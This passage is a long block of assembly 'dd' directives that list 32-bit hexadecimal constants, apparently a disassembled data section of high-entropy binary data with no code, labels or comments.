		dd 0B0B8D826h, 0EB1E20B4h, 9061BA26h, 68C34F3Ah, 0C2D7B3BFh
		dd 82384A81h, 67639A4Ch, 6007449Ch, 0EA2D828h, 9376CB8Fh
		dd 0E15E5CC5h, 0DA4C08BCh, 92521418h, 0E1B4118h, 838C98A5h
		dd 0E1BE0CE2h, 4EDC4E02h, 98F35440h, 0C9E62CCDh, 53F11378h
		dd 7CF244h, 3F5B27E4h, 0A8D1006h, 0FC6A2CD8h, 0A49AEB40h
		dd 0A7B8F498h, 0D92F49C0h, 0EE41270h, 2D539F84h, 88177266h
		dd 78A4F744h, 0AAB613EBh, 0B1BC875Dh, 72F5CA24h, 71FE30B4h
		dd 251663A9h, 78408B1Fh, 72281478h, 0FA2C14FDh,	0C626DCC5h
		dd 605E6A09h, 4AE4230h,	0D7484E2Ch, 12D4F184h, 0B53011CCh
		dd 966B17E2h, 0B0CB86h,	8FE28D21h, 60B9F9D9h, 3947E1D8h
		dd 5E1F0A19h, 7504C9A7h, 1482BDE5h, 0EDAD2092h,	4B005202h
		dd 0F3119743h, 75AB15Bh, 0BDB263B6h, 0E0BA147h,	9350CC61h
		dd 1682022Eh, 0D9C7200h, 6DC09Fh, 0E04C1ADFh, 82782142h
		dd 0C5489DE3h, 5EDB6646h, 0DF7B0011h, 0EEE450D4h, 0DC33F735h
		dd 7708C6h, 0D4D7A021h,	0FF6BCEFCh, 26DE9F00h, 396A08EEh
		dd 187300E4h, 64530A02h, 78302082h, 61DC396Ch, 0A1B9033Fh
		dd 7088FA94h, 25741800h, 815206B7h, 2CCF1805h, 6AF3A871h
		dd 0E8500730h, 1747782h, 7657294Ch, 470EAC18h, 48A7D530h
		dd 0C1CE6264h, 0CEE44CD4h, 0D39C000Eh, 7CD9A3D4h, 5B7F0FE2h
		dd 0E641B8A0h, 0D815533Fh, 3903C28Bh, 0E05507E8h, 0CD92C0BAh
		dd 50F103D9h, 26B6444Bh, 9F0BA006h, 4B884ACh, 0FB4D1202h
		dd 0E8110618h, 7B404440h, 6AB0F30Ch, 3F31D915h,	9A011E50h
		dd 92867F5Fh, 27089837h, 5485621h, 0BBDFA21Eh, 0F4E404ABh
		dd 0E080007Eh, 652FF28h, 0E4CE8564h, 4300186Ch,	909B53E5h
		dd 66E9CC0h, 4B3FDEFCh,	1109D009h, 23B9DF02h, 38A73720h
		dd 0A8504E48h, 0E243F8ECh, 0A221C086h, 0BB3B669h, 5F17560Ch
		dd 0D69C0903h, 0B8211421h, 4081961Fh, 7D91D1D7h, 40606C4Ah
		dd 0F0B042C1h, 8488D084h, 88E1C710h, 1E51C3B1h,	622F84F5h
		dd 57202684h, 1BF1E49h,	74DC59E3h, 91AB2ADDh, 70804AB0h
		dd 8E0BBAB6h, 0C99B448Ch, 0E6B66800h, 607610F4h, 889D3A50h
		dd 0C1A09930h, 88A1DC0Dh, 0B8041486h, 43008220h, 0FC671F5Ch
		dd 0DD92A4A0h, 3003C6E6h, 2F185A25h, 6C2FE504h,	23F2523h
		dd 0D6BB795h, 0C98840D2h, 808D72A2h, 0D08873FCh, 0B0940C8Bh
		dd 5BB08584h, 432AF60Ch, 30AB38AEh, 0E4E88A2Eh,	361BF07h
		dd 0BC909E90h, 9FCAA20h, 4B6D565Ah, 0F63B0802h,	0D2726720h
		dd 0BE20A764h, 6A0129A3h, 12030C41h, 27F0AD8h, 0EBD0921Bh
		dd 74443FDCh, 0C0658009h, 1ED002E3h, 17E60183h,	782C402Bh
		dd 0AB807001h, 0D6970A0Fh, 28B4E249h, 80167614h, 0F000F261h
		dd 6450229Fh, 0CFFD605h, 26470821h, 5B005548h, 89B49AAAh
		dd 5003385Ah, 51CE30FCh, 53F094BBh, 2CCB569Dh, 97102E02h
		dd 3CA24821h, 129E0B8h,	5027BC34h, 0ACFB8501h, 20314C20h
		dd 6826F9FCh, 0C01C6124h, 788910D2h, 4C09349h, 5B5D2246h
		dd 68F6FAC2h, 0BA130Ch,	0D77C7145h, 9F7415A6h, 210708CCh
		dd 45B2003Ah, 5A1A02B0h, 434A843h, 748250A1h, 0D4E03067h
		dd 0F6E45111h, 0A1826F88h, 61A6D4D8h, 0A841DBD0h, 9407405Fh
		dd 0F4449019h, 0B0012817h, 9225608Fh, 0D884F2C8h, 8166D8A6h
		dd 505A1840h, 0E317E4E4h, 1D94F740h, 199160EBh,	4143B99Dh
		dd 0FF67F4h, 36E0BA70h,	41703B83h, 0E8DC5B48h, 78008C97h
		dd 9BAD77C0h, 26809D5Ch, 422C9154h, 0AE11E074h,	1E084E18h
		dd 0C44F9ADEh
		dd 4654402Eh, 9E321Eh, 141C8844h, 0FA4F1AF7h, 0A066DC2Ah
		dd 35D88001h, 13A2AFC9h, 51FE1ED4h, 0A033B31Fh,	5E3078F2h
		dd 67EB3A47h, 34E0FA80h, 9EABB228h, 0EF0FC4Dh, 341418FEh
		dd 0A18C4C9Ch, 9C112B06h, 9F8042C6h, 13800F2Fh,	9D446842h
		dd 2050C411h, 54A07974h, 1CB0FEF1h, 0FBA09115h,	6A4A06DCh
		dd 0B591208h, 24E07C6Bh, 0E4403008h, 0A0B03007h, 434B1B1h
		dd 22BAF03Bh, 70D82C92h, 0F2DC7340h, 0C118C093h, 0DA8BDB03h
		dd 0F8206B19h, 0DCE80D50h, 0E839C085h, 42E6ED9Ch, 5CB09D0Ah
		dd 1B0434ABh, 680CB80Bh, 5E451CA1h, 61619BD8h, 0C7CA3846h
		dd 0D0E0B262h, 0F24682Fh, 55424AFh, 0B0424FCh, 2CA469DEh
		dd 0AF88814h, 0C9D5AB14h, 243E120h, 54097E18h, 304511EDh
		dd 11B66B6Ch, 88660BB5h, 63C4809Fh, 8F0185B6h, 0B3607A1Dh
		dd 7EDCBC43h, 0CC408DFAh, 0EDBED66Ch, 881F3E40h, 0A400D852h
		dd 0E2B7F1D2h, 49303B27h, 265F052h, 600E83E7h, 8F3279E1h
		dd 0F07E0291h, 89C44AB3h, 0D44804C0h, 6C45B560h, 11AF7C23h
		dd 0AD35000Ch, 0D5146645h, 415F02BCh, 90A70DB1h, 52052C50h
		dd 233F1784h, 8020CC03h, 0DC890761h, 8498AD64h,	0C1D084C4h
		dd 11EEF98h, 4829C29Ch,	44307422h, 23D3C193h, 129000D5h
		dd 0A5B40C68h, 7639E0EFh, 830100B1h, 8EA3CAE8h,	1997260Bh
		dd 0D7D8B2E4h, 1145B830h, 88C77C6Fh, 0B038800Ah, 0DF63B145h
		dd 0FDFB6918h, 0EB56D219h, 0F67FE870h, 39628E6h, 0E87C0AF0h
		dd 4EA43773h, 781339C0h, 577FC2ADh, 0E8D0F34Ch,	0F3B8C72h
		dd 0D4BFA8ABh, 11380B23h, 45B380D2h, 8C9F7C6Ah,	3330944h
		dd 0A89B45ABh, 90137AA2h, 0BC209444h, 6D778Eh, 3420A7F9h
		dd 4C90D6CCh, 0FE67B501h, 0B49266FFh, 0F7C8C0EEh, 8446824Ah
		dd 316FF500h, 79014270h, 6BE12EBh, 177702BAh, 80E80DA3h
		dd 3F2EE6F4h, 10A488D3h, 3878408h, 1FA83C5h, 94ADA91Eh
		dd 5540F380h, 0FD5AC10h, 96C8EF88h, 0F812ECA6h,	8B618F5h
		dd 0B77C6D45h, 36400BC4h, 529C45AEh, 0A3D5C301h, 3443E87Eh
		dd 10EAA440h, 826A08F5h, 298003FAh, 7A678931h, 0FCDC01EFh
		dd 0A6930E66h, 0DE92C38Eh, 64B000EEh, 6A84A954h, 80990D7Eh
		dd 8B56881Ch, 23954422h, 690002F9h, 80D9E708h, 25D6E79h
		dd 0F12BDFA5h, 0EE80B921h, 0DC267E78h, 99E49106h, 94593E6Bh
		dd 25465E14h, 0B7CE62Eh, 0AC816FB4h, 206A3BC1h,	632837BFh
		dd 6105C8F3h, 6280E659h, 0C0D8B008h, 7C7045B9h,	0E02CCF48h
		dd 145B139h, 0ADD088F4h, 218E909Eh, 0A410E4FCh,	81088C9Ah
		dd 1C4819C7h, 4C054EB2h, 24F80B12h, 18ABD019h, 0DB1E084Bh
		dd 2AC4379Ah, 1E435140h, 3F00765Fh, 597EB6A8h, 6345C14h
		dd 96921B78h, 0CCA0A11Ah, 6B804503h, 841D2B1h, 84A97144h
		dd 0CE8F6D80h, 0FAE030h, 0DC202F1Ah, 918EF522h,	0FF7CD402h
		dd 0A085789Ah, 0AB3F5EA4h, 10A0A024h, 0E40CA0A9h, 0D1F220Fh
		dd 963E897Eh, 0BC085D6Eh, 49CD00B6h, 846B9DABh,	6C037EE3h
		dd 7C909CE2h, 0BB583FB4h, 6028CE89h, 85E534C1h,	72E35B41h
		dd 29158822h, 911841Dh,	33AFE880h, 0CB09D0E9h, 321ECFDh
		dd 0F9957C18h, 88A69894h, 1C313C28h, 0BA62DC39h, 0BB9C889h
		dd 824A2518h, 0E805E09Bh, 0A8176B20h, 0ECD68BC8h, 0DC3F255Ah
		dd 76E55020h, 0AC18EA93h, 784D25Dh, 1718926Bh, 40CC883Ah
		dd 0CEA5AB30h, 80A18CBCh, 90C645F2h, 0AA20D364h, 0C4E25328h
		dd 0E6D07954h, 809D5906h, 9940A0F8h, 0DCDC3C34h, 8C72FCh
		dd 67EC92E8h, 427C187Eh, 40983890h, 4741D44h, 0DDB3F822h
		dd 40E0C4B8h, 0E9E37674h, 13005531h, 734905B7h,	1F83EA01h
		dd 6CE9DDBh, 98D9B98Eh,	0B005FA2Ah, 0FCCA0E00h,	2CC93D89h
		dd 936D0041h, 603ACE75h, 0E70A9C73h, 40C78215h,	702C013Dh
		dd 8644B09Bh, 44C0F8A8h, 79582028h, 3FE481CCh, 6020FD4Fh
		dd 0ECB35C96h, 9A111822h, 5A0C8088h, 92413C38h,	0EAE6D406h
		dd 3058305Ch, 0CB4006C7h, 4624130Dh, 0D04F444Eh, 0C87C8AD2h
		dd 6B9BC10Ah, 90C4204Eh, 0ACA94824h, 9812CC4Ah,	2C34444h
		dd 13AB58A0h, 2271E8A6h, 0EC207448h, 0B257314h,	26B2213Fh
		dd 0DDCE008h, 0B213244h, 0C70BC850h, 6AB6C073h,	0F0181CA0h
		dd 0B3503027h, 70E833CEh, 317A5B88h, 3241C10Ah,	0B411A475h
		dd 2106FA19h, 0B2A4EC25h, 40A20200h, 397E7350h,	910F079Bh
		dd 3475CA13h, 246C81A0h, 0ECF8A4B6h, 0DE404400h, 1403117Ah
		dd 8416A7E0h, 1297811Eh, 35044053h, 6BB094D9h, 24887A48h
		dd 1505DC5Dh, 2CCE825Fh, 1EC207C8h, 4DD040EFh, 54B64817h
		dd 61040h, 0B87BE6ADh, 6DA7CCCBh, 98742400h, 0DA837CB0h
		dd 0F20A1C61h, 0E2B851Fh, 80D824A7h, 4E301014h,	402F5B5Ah
		dd 93A9623h, 60F4A70Bh,	12537E00h, 0C69CA6ACh, 6B247078h
		dd 0BB6C1Eh, 240897D8h,	0E02A64h, 0DB84043Ch, 0DB5ED9Ch
		dd 0E6EBD202h, 811B717h, 9A6409A0h, 1AF77CA2h, 0C90145Bh
		dd 13B39C04h, 20A8E15Bh, 6B61A008h, 0BBE3F8E1h,	12815430h
		dd 0DCB34EE5h, 1E829958h, 0B8D22320h, 44469420h, 0B4B66A02h
		dd 1D1C5E0Bh, 0CAB662C3h, 8084216Bh, 5D361F8Fh,	0A47F2D19h
		dd 3AE1ED00h, 34BD413Dh, 409E2A8Ch, 0E07C3AD0h,	3F03534h
		dd 88DD0290h, 0A7125978h, 784B6F6Ch, 24B8099Ah,	0DC6063ACh
		dd 0E4234DD4h, 3F7311D6h, 602F19Dh, 45E6D0FEh, 2F308044h
		dd 2D66AA57h, 200F7BB9h, 0B4480A0Bh, 29C78E44h,	899059ACh
		dd 269C6862h, 259FA00Ch, 5416341Bh, 420AC98h, 6108B03Bh
		dd 7E410AEh, 48903238h,	22EB2514h, 53770D18h, 5C949104h
		dd 8C75BCF4h, 0B7F9331Eh, 0E5AFFA80h, 2E4D7477h, 0B6C3D30h
		dd 9C39BB1Dh, 70C01434h, 4D971056h, 2C4CF44Ch, 0BF268DC0h
		dd 0D4001554h, 0C1ABDF24h, 0F4D217Bh, 2AA89336h, 0CF7A7F87h
		dd 6360AEA2h, 3D73D881h, 81A260ACh, 660A98B2h, 98FA0B0Fh
		dd 6AC1A426h, 0E86C180Eh, 22A3B485h, 9A233C9Ch,	68EEBA8h
		dd 9B082218h, 0D08948FBh, 0BC8C6C82h, 0ECA08C28h, 62C4FB6h
		dd 0C24970CFh, 28F88C80h, 80949CF9h, 0B5059468h, 8E3F6671h
		dd 0A5D2020h, 70DCACF3h, 18A0BACh, 0C0A7EC60h, 0E4648645h
		dd 0A66096FFh, 4AB0B8Ch, 6A19F894h, 0F9A1300Ah,	0DD00D062h
		dd 2BB0AD8Eh, 0D5281739h, 3300A4D8h, 1EEE0A4h, 20456B1h
		dd 0AB8E10F3h, 4C41524Dh, 0BD83D34h, 14AE7488h,	0B0120FB4h
		dd 239FADA0h, 0A83132h,	21381C3h, 0CFB05B5Ch, 514CE2E8h
		dd 4460591Ch, 0E8D05495h, 85008C72h, 59DAF996h,	2A9F53E6h
		dd 0C8CDE78h, 71F1786h,	2554FAA0h, 0DC02598Ch, 102D964Ch
		dd 0AF4C59E4h, 7391D417h, 38BF5180h, 1A00D8AAh,	0AF3F9340h
		dd 0B97A20D2h, 670F8968h, 0C16C10AAh, 231175E5h, 0A3286268h
		dd 0F49B0B0Bh, 22971814h, 6CDCA0FCh, 0F68D3B7Eh, 1EAC7704h
		dd 759082B9h, 7AE54110h, 12AD4AF2h, 48D00848h, 0B8B66EC0h
		dd 227E460Bh, 66C7009Ah, 5C8CD2B6h, 0B797874h, 509085ECh
		dd 3E71B204h, 4984960h,	0B450E1F9h, 14A7EF6h, 26BA69ECh
		dd 0E9DFD2CAh, 78CE8CEh, 708850EDh, 784AB3DCh, 73237C3Bh
		dd 0EF3B5700h, 61592CEh, 8CA470A8h, 38B2BA81h, 0DBF0F20Bh
		dd 97142733h, 20905DF5h, 80253C18h, 0F4B4F26Bh,	8021F917h
		dd 74DC51A8h, 0C2CE001Dh, 480455B8h, 0E00231CFh, 0E12AC365h
		dd 6C7C40ADh, 0FB580AAh
		dd 4B1BC718h, 0DAE87E78h, 0E0016026h, 0F1E1FF25h, 1155F802h
		dd 0FCB8C47Dh, 0D167DC30h, 167CE5h, 53FCF4EAh, 0F046ABFEh
		dd 0CFB0BB50h, 0B00F547h, 0BBA1A9D0h, 0A700F2FCh, 0D51B4F13h
		dd 174BDB3Ch, 2E652AEh,	0A37078D2h, 442F047Ah, 0AD482497h
		dd 0DD1E4D60h, 11479A23h, 0B2532E29h, 9190F800h, 5C719B15h
		dd 94FF07Eh, 5802E3DCh,	6CFA92A8h, 0A9C0FA74h, 0DCCA2DB9h
		dd 24FBF0D0h, 0A4CB50Ah, 4F84CDBh, 47617320h, 7DE1D8BBh
		dd 6420E445h, 0E8854D18h, 152B1F09h, 0C1B334A1h, 0E7E5C403h
		dd 382048B8h, 222C9084h, 8625298Ch, 40284EFCh, 1B7B7E74h
		dd 62D0EB4Dh, 9308B8h, 9D731FE8h, 0C71090A0h, 4EDAB625h
		dd 3A28406Ch, 621E20A7h, 4681263h, 222434h, 0DF9ACADCh
		dd 88786C79h, 0AB03CDC8h, 0F07CEA0Dh, 6B291597h, 6C00BC1Ah
		dd 7468BE85h, 0D37ECB65h, 0DF24BCB8h, 1587681Bh, 55455E7Ch
		dd 61C51881h, 98E2084h,	0F9DD3153h, 3F003069h, 0FBCE2885h
		dd 3000D6BEh, 6783DF4Dh, 17A8F8CBh, 91DE0290h, 801C6A90h
		dd 85EDA989h, 3F87BA6h,	0BE795981h, 0B3C5E1B5h,	0B32E168Ch
		dd 14B95900h, 13EA003h,	0FAAB62E3h, 218F23F1h, 0CC48FE84h
		dd 0D25C8CA5h, 0C4420234h, 61BB5DF5h, 6C184650h, 0B2FB671h
		dd 3F54166Eh, 0E98264C5h, 0CCF57B12h, 0FBBDCC8h, 98C29D2Ch
		dd 24236F08h, 8C113AF4h, 168236Eh, 0E452D4E1h, 803463FEh
		dd 0ECD4D9A2h, 0BFF802E6h, 17C7E81Eh, 9E051C54h, 0D8907528h
		dd 4A6067DBh, 88248E5Dh, 0F56DC09Eh, 1E00EE59h,	7B27CBC5h
		dd 0C3AAD802h, 0C3C49CB0h, 6AC892A4h, 49079852h, 0FCB3C966h
		dd 532262C0h, 1EE7236h,	0AE32A0BCh, 360B89Eh, 0E60CB94Ch
		dd 40E38830h, 41D0311h,	4E184BD5h, 93291718h, 21388040h
		dd 895449C0h, 11601D04h, 0DCB0CEA9h, 149143h, 48DB2232h
		dd 43BEBF8h, 8E9F0005h,	5A28523Fh, 6C693DDCh, 43CC8912h
		dd 4CA782F0h, 22598AEh,	0B3AC20E4h, 96856896h, 9974AAC0h
		dd 189DD95Ch, 0DB42016Eh, 6943C832h, 0EB08203Dh, 329C0F40h
		dd 49587333h, 3CB66F30h, 38C80BB9h, 0B667C8E0h,	309E5801h
		dd 499A028Eh, 9790E20h,	8B9C809Bh, 6BF3448h, 4574A08Ch
		dd 806A5CE2h, 0DC83D8B7h, 888CA75Bh, 927F4E86h,	45C8A0D8h
		dd 236B8013h, 14AA2088h, 8A9C02Dh, 840B760Ch, 0D76C148h
		dd 0BDE08102h, 0CD5B4E35h, 0B912E0FCh, 230AB71Bh, 48F69392h
		dd 60562C3Eh, 97105700h, 0BEDD7981h, 0F4674DCh,	43D0B500h
		dd 2BED9033h, 0EC5812FCh, 0FAFB1120h, 32983400h, 4818F58Fh
		dd 0E06B9CB4h, 465C88C0h, 66B9B196h, 66B9841Fh,	6A45092Eh
		dd 3A546810h, 0A78C2078h, 0D20DB401h, 0F9A20E53h, 0CD00583Dh
		dd 8E46161Eh, 6A019ED5h, 57DCEC3Bh, 0C7F4787Ch,	3B47B6Fh
		dd 0DDBC537Eh, 82A97672h, 62C2FD21h, 0E10D16A4h, 37F7D004h
		dd 8084D849h, 0F3691891h, 9DC9943h, 0B9749BB5h,	38768400h
		dd 730BF0Bh, 3C0E781Fh,	8C9F3235h, 4C16BC70h, 7080AC44h
		dd 127EFE0Ch, 0CF796C25h, 0C02C88A8h, 0FA1B1DA5h, 5650A100h
		dd 0A0CEAE18h, 6ECB26Ch, 78208453h, 0E416B990h,	0EC4E9317h
		dd 185C8DFAh, 0FEB81C79h, 0BBD6607h, 2B82CAFh, 2A6FE87Ch
		dd 0E41C6B00h, 129BFA5Ah, 21A14CA8h, 88540A3Ch,	17142F88h
		dd 23403F72h, 0BEFF9EFh, 0B9809CC4h, 0B02F4A50h, 2D007423h
		dd 0EB914248h, 0CF0B09A6h, 0C0E86E84h, 0B0844317h, 143B2060h
		dd 0FFA09110h, 0E8271848h, 0F208CC99h, 843BDC01h, 1FEC443Ah
		dd 6B784706h, 25B02028h, 88A2260Bh, 0E6007A63h,	800A7F3Fh
		dd 69CF14FAh, 9F829C59h, 86767378h, 9418314h, 0E9B4B251h
		dd 1A70660Ch, 4CD1EB4Bh, 0C501AA18h, 388096B6h,	81AB68C0h
		dd 53FB25C7h, 82C5E06Bh, 4C0A715Ch, 0E0048A13h,	0C10083C3h
		dd 1EE9ED0Eh, 34588748h, 0CE8195Dh, 0AD5B67C0h,	8F47BA3Ah
		dd 82F77C85h, 0EC0321F8h, 0E2812875h, 0F0FD5DBCh, 7C89E15Ah
		dd 0C33A0078h, 470BBE1Dh, 0E4C71682h, 0F5A42163h, 0B440064Ah
		dd 0BA020F74h, 1844B786h, 5479D11Fh, 0F2D7B1C0h, 96178810h
		dd 94668B5Ch, 0AFE9586Bh, 4688506Ah, 6760AAC5h,	68D20818h
		dd 2848A45Bh, 3193C334h, 0F890367Ah, 0D0620E61h, 0F140A16h
		dd 0F926C33Fh, 3C81DB25h, 48FB7E20h, 6D130F88h,	0C40AAEF7h
		dd 82805473h, 1FE6C410h, 0D8FCA98Dh, 0F3021C32h, 0F51DC622h
		dd 6073502Ch, 9749603Dh, 20B267FCh, 684B1CBCh, 53AF0DD0h
		dd 0A912346Eh, 5A5443D2h, 7126A618h, 0B51460D7h, 0EAA00EF0h
		dd 15175CA8h, 896CA804h, 4E85D0B4h, 0C4F40C2Ch,	0F5487B50h
		dd 7F780008h, 0F7D57936h, 9CB40DD0h, 0A369D690h, 8C2350C1h
		dd 70F0D512h, 91896738h, 0A9EF5610h, 0F0260C8Ch, 4E491899h
		dd 9E4B79C4h, 8E3C8A50h, 9FA61F5Ch, 106419BBh, 0E120240Fh
		dd 10A8614Ch, 0E60C3047h, 0F3A92910h, 930F5C16h, 7C75C880h
		dd 3C2DF980h, 843940DFh, 80C2DB32h, 2190C71Fh, 530B13FDh
		dd 248FB004h, 0DCDF0243h, 0E30D4113h, 1AF4C804h, 0C8068309h
		dd 0AB0E61A6h, 408FCAE8h, 0EFB091DBh, 5B84A17Eh, 0D62B96DCh
		dd 687A78h, 43E2ECE9h, 7DD45C3Bh, 0BADC26A2h, 0D8B18304h
		dd 3100F9FAh, 244E64ECh, 9E1FEA2h, 0ED36266Bh, 9CC44845h
		dd 0EE78E067h, 6005D482h, 90187E7Dh, 0D1B5C040h, 0F4C16A33h
		dd 11BF3EFEh, 7600F322h, 0AC77871Fh, 780708h, 94D941ADh
		dd 95925AEEh, 74292460h, 0BA8C652h, 16B8769h, 68767062h
		dd 325465Eh, 8AA67280h,	835099ADh, 44F4AC21h, 0BD1C7F5h
		dd 9173C5A7h, 0F2A41030h, 67175E20h, 97933149h,	855AF299h
		dd 3ADC7708h, 448648D0h, 0E1E18B3h, 0F9D7306Eh,	0DC5010F9h
		dd 54C8496Fh, 13769C0Ah, 2060A8CCh, 9A542068h, 0A0A0B80Ch
		dd 43C6AB6h, 10605A2Dh,	0F664E17Fh, 27F200E6h, 0A9B59BA1h
		dd 590726E0h, 914B546Ch, 0BA80C7C0h, 10040403h,	0C12B6D83h
		dd 203E2E60h, 62097ACCh, 0A133E87Eh, 0B4A685C4h, 578081F2h
		dd 202DB85Ah, 0F0881409h, 0BBF3060h, 606C3751h,	1C443CC0h
		dd 32F700C9h, 0BFF859D8h, 1000903h, 78E5E816h, 523CE1h
		dd 92828FA9h, 45E243DDh, 448F300h, 0CFB35C0Dh, 65682667h
		dd 6BBC087Ch, 570AF411h, 4887EAh, 0D5FB794h, 615BB89Fh
		dd 0FB813090h, 1BB48804h, 172E3A00h, 58A07C8Fh,	9B6B03C2h
		dd 94AEE1A1h, 0BA4C1E5h, 0E19C7377h, 6C08F74Fh,	0DA219542h
		dd 79201C7Ah, 20008C7Bh, 0F9045AAAh, 48EA93C9h,	0C817AC49h
		dd 0DC782137h, 5F1424A2h, 8C062C9Ah, 8B244AB0h,	45B5311h
		dd 0BE6B56F0h, 6781E700h, 137FF1C4h, 77F002A4h,	72EFCD62h
		dd 64000C89h, 0CE5476EEh, 133DE70Ch, 1E6718BEh,	985E5BCh
		dd 6707EACFh, 0C077C7CEh, 5883E3D2h, 3E67B3Eh, 80EEC069h
		dd 84F4A063h, 0EBD20113h, 0F67B5B85h, 0E8288079h, 0F1C75F80h
		dd 0C95C0388h, 0CA5631E9h, 89664000h, 0BC5B65A2h, 137C03F0h
		dd 2186F1D4h, 0C01B8FD1h, 317CA27Bh, 0F28304A0h, 0F5CE80C7h
		dd 0D4AF36C0h, 9E1E065Dh, 796180A2h, 67CE5C3Ch,	6AC6E671h
		dd 0E18AE918h, 83086C81h, 0BD637AEEh, 0BF6572E0h, 0B038AB51h
		dd 58678880h, 0B5F548CDh, 3088C930h, 840CA77Bh,	0E8C568FDh
		dd 5AED18BEh, 134E3841h, 40E68032h, 56A0809Eh, 766D1C6h
		dd 31BF7B47h, 1E8C3018h, 0F10CCD43h, 0E1A93C74h, 6736E898h
		dd 30617857h, 4860E5CAh
		dd 7520AF43h, 5C89C701h, 135FCBCFh, 0FAA0000Ah,	0D7AA677Ah
		dd 471CF965h, 7FEBAB1Fh, 2D2423Eh, 451C18ECh, 88133079h
		dd 98927431h, 6C0C206Eh, 798152B6h, 0D91F424h, 0B712F0F2h
		dd 80086B18h, 20FF6188h, 348905BBh, 584248B9h, 27DB1080h
		dd 0A41A9384h, 0B05B3E70h, 0A2E4AC88h, 2174CB2Ch, 0F20622A1h
		dd 9890310h, 8274A781h,	3F650048h, 58680CB7h, 0CCB18458h
		dd 84506033h, 92700456h, 0A9DC2198h, 0F528B872h, 8758C868h
		dd 98B1904Dh, 1027D660h, 0D073C781h, 3089459h, 13705039h
		dd 0E6918521h, 1187E8ACh, 8754AC7Eh, 18A96610h,	1EFE80Ch
		dd 0BC642544h, 54CF1605h, 2204E26Fh, 22C490A7h,	0B0B08BCCh
		dd 167E0444h, 0C13647F0h, 7BEBD444h, 6ADC8004h,	17E888D0h
		dd 4819D6Fh, 808F459Ch,	571E3328h, 6CF07C4Dh, 4804193h
		dd 67228043h, 6C909C08h, 45DE03A7h, 0B907E5Eh, 0ACABE097h
		dd 24A0F8C2h, 85E643D5h, 4C5510B0h, 231FE098h, 94881861h
		dd 0AC78AFB6h, 0B07FE015h, 4040F578h, 12DB1E76h, 34E4F69Ch
		dd 48446704h, 0DC54E844h, 546878A1h, 7388C184h,	0DF021007h
		dd 9418B2EAh, 4689128Ch, 917C1048h, 45818DAh, 0F032840Ch
		dd 0E00C7419h, 691C848Ah, 484E7A62h, 0BDDF6720h, 8C0301Ah
		dd 516FEC7Fh, 50821140h, 3C446E8Fh, 2710C8BEh, 10126278h
		dd 0D03143Fh, 0CCF9F5D3h, 0B0E6A801h, 0ECD44EAEh, 83F1C3Eh
		dd 0CA47800Eh, 6AFC9106h, 12F4A81Fh, 24750045h,	0D0F69B98h
		dd 4070D8EEh, 0B451F70Bh, 8BFC59D9h, 287A076Ah,	1C747006h
		dd 0A01072D7h, 986AE36Dh, 0ACE000CDh, 1D748611h, 6300D7B7h
		dd 0E4D091E6h, 177B45Ah, 6D2B3FB2h, 0E48F1959h,	1A051E74h
		dd 6A99C829h, 0B2F8A4h,	71779452h, 20DC120h, 75DC4C00h
		dd 0D1BD44E1h, 0FEE60192h, 6A701E67h, 0B04F7E03h, 945372F9h
		dd 0DC331B00h, 60EF1Eh,	9FFF556Ah, 52EAB177h, 747C7100h
		dd 0E6F7FB05h, 0DD951273h, 11B4085Ch, 3C0EB280h, 49446FCDh
		dd 0FA0F1CAAh, 0C5EF21EAh, 20243120h, 8914C13Fh, 1FE2310h
		dd 0EBA0BEBBh, 0B428986Bh, 0AC03007Fh, 5EE7AAABh, 5F482E01h
		dd 1F4A0786h, 0E6D3174Bh, 42EB530h, 32EDC40Ch, 53FC0610h
		dd 48CA8714h, 2C540010h, 4AF1A494h, 0E0D11FEFh,	0BD4900A6h
		dd 3F5781CDh, 28674C7Fh, 0B6877848h, 402806C6h,	0E887ADA2h
		dd 0A538CC50h, 21B74933h, 22E23EAAh, 4E67A403h,	1818DB1Fh
		dd 0C339A1C8h, 6741C7DFh, 18BB866Eh, 0AF17FA18h, 64AEF139h
		dd 0C02651C8h, 0F30127F5h, 3FD0B105h, 7CC016EAh, 633CAE2h
		dd 0ACF1EB29h, 4F159118h, 78983D7Ah, 0BB009CF4h, 2527F5CBh
		dd 18DA2ADFh, 0E05E6B9Dh, 563AFB81h, 0AE2C3A73h, 193782E9h
		dd 0DF0F970Eh, 1C370028h, 0FA4540Ch, 5F202716h,	2A57809Fh
		dd 225234A7h, 30C2339h,	0B2F86F45h, 20080044h, 0E7A40872h
		dd 2A05E586h, 296A9DDFh, 0B8FC4C77h, 0EACE0A57h, 91E0E10Ch
		dd 7B521B7Ah, 862AF148h, 10F2F090h, 7A15AAF7h, 2200ACA8h
		dd 6FFC416Ch, 1703AEEFh, 9C279DA1h, 0B64800D4h,	10796BE5h
		dd 0E0A4EF70h, 873B5BE4h, 0AA970CEEh, 742418D6h, 210F675Fh
		dd 49DF8117h, 0DEB05029h, 4151A027h, 8031E188h,	0B5FB1E48h
		dd 1873CAA6h, 708209C8h, 1604664Ah, 216A9E1Fh, 15809B40h
		dd 6E78DEBDh, 0C831370Ch, 0FFC1B9h, 0EA21686Ch,	0E1D073B4h
		dd 0D12B4C14h, 0FC31229Ch, 0F1E40A28h, 8C90BCADh, 0D410F92Ah
		dd 0EA4088h, 75CBAB14h,	9A26DA6Dh, 2049A618h, 742A89C1h
		dd 4928F8C2h, 21127479h, 39C40FAh, 70B57550h, 408FB3A0h
		dd 1E8479CFh, 0A0839740h, 30FA42E9h, 0D2B0965Ch, 2B242FF9h
		dd 48112CE8h, 0C0E2AB1Fh, 4AE1FB1Fh, 6E01913Dh,	20A0F890h
		dd 0C055D7C4h, 80E21E00h, 0E0EA81A5h, 26820CEEh, 2C21E827h
		dd 6B341C92h, 885E594Fh, 0BC11771Bh, 78728FC0h,	0CA64887h
		dd 92D40829h, 0E7A84D10h, 0A6605851h, 21C014ECh, 993CAD73h
		dd 50297706h, 156F0C0Fh, 0D089C818h, 0F56C2004h, 0AB208028h
		dd 0EB00935Fh, 5D64B23Fh, 15479CA9h, 1427D0B4h,	0AD6F8F81h
		dd 27304148h, 4CF00965h, 6235887h, 79A92531h, 22CF606Dh
		dd 50AA46C0h, 67198F2h,	0C8892BE0h, 0AB0091A5h,	0FC1D20E8h
		dd 9F9EEAEh, 0B0B2F1D5h, 31710411h, 0C2280B68h,	1D08E89Bh
		dd 1503AB2Ch, 521DA23h,	49F26059h, 83C04012h, 9B27D38Eh
		dd 0A761A060h, 4121C5Eh, 0E2719E99h, 4D1C8CA2h,	51FFC86h
		dd 0EEE958F6h, 7C980430h, 8440211Ch, 0E4211806h, 0B8C0081Dh
		dd 0F0312C44h, 0A2CA0185h, 8F833062h, 10001EDBh, 0E79E50D0h
